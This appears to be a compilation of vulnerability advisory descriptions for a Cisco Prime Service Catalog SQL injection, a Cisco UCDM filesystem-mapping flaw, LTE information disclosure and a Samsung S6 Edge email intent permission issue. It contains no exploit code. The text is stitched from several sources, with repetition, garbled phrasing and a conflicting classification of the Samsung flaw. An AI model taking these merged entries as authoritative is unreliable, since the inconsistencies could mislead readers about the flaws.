SQL injection vulnerability in the web framework in Cisco Prime Service Catalog 11.0 allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors, aka Bug ID CSCuw50843. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. This issue being tracked by Cisco Bug ID CSCuw50843. The solution supports automated ordering of a unified service catalog of computing, networking, storage, and other data center resources. A remote attacker can exploit this vulnerability to execute arbitrary SQL commands

Cisco Unified Communications Domain Manager before 10.6(1) provides different error messages for pathname access attempts depending on whether the pathname exists, which allows remote attackers to map a filesystem via a series of requests, aka Bug ID CSCut67891. Vendors have confirmed this vulnerability Bug ID CSCut67891 It is released as.A third party may be able to map the file system through a series of requests. Cisco Unified Communications Domain Manager is prone to an information-disclosure vulnerability. Successfully exploiting this issue may allow an attacker to obtain sensitive information that may aid in further attacks. This issue is being tracked by Cisco Bug ID CSCut67891. This component features scalable, distributed, and highly available enterprise Voice over IP call processing. A security vulnerability exists in Cisco UCDM versions prior to 10.6(1) due to the different methods used by the program to handle paths that exist and do not exist

Long Term Evolution (LTE) is a 4G wireless broadband technology developed by the 3rd Generation Partnership Project (3GPP) project team. An information disclosure vulnerability exists in LTE equipment. Attackers can use this vulnerability to obtain sensitive information and perform man-in-the-middle attacks. Long Term Evolution (LTE) devices are prone to multiple information-disclosure vulnerabilities. Successful exploits may lead to other attacks

The SecEmailComposer/EmailComposer application in the Samsung S6 Edge before the October 2015 MR uses weak permissions for the com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND service action, which might allow remote attackers with knowledge of the local email address to obtain sensitive information via a crafted application that sends a crafted intent. Samsung S6 Edge Contains a permission vulnerability.Information may be obtained. Samsung SecEmailComposer is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue to gain elevated privileges within the context of the application.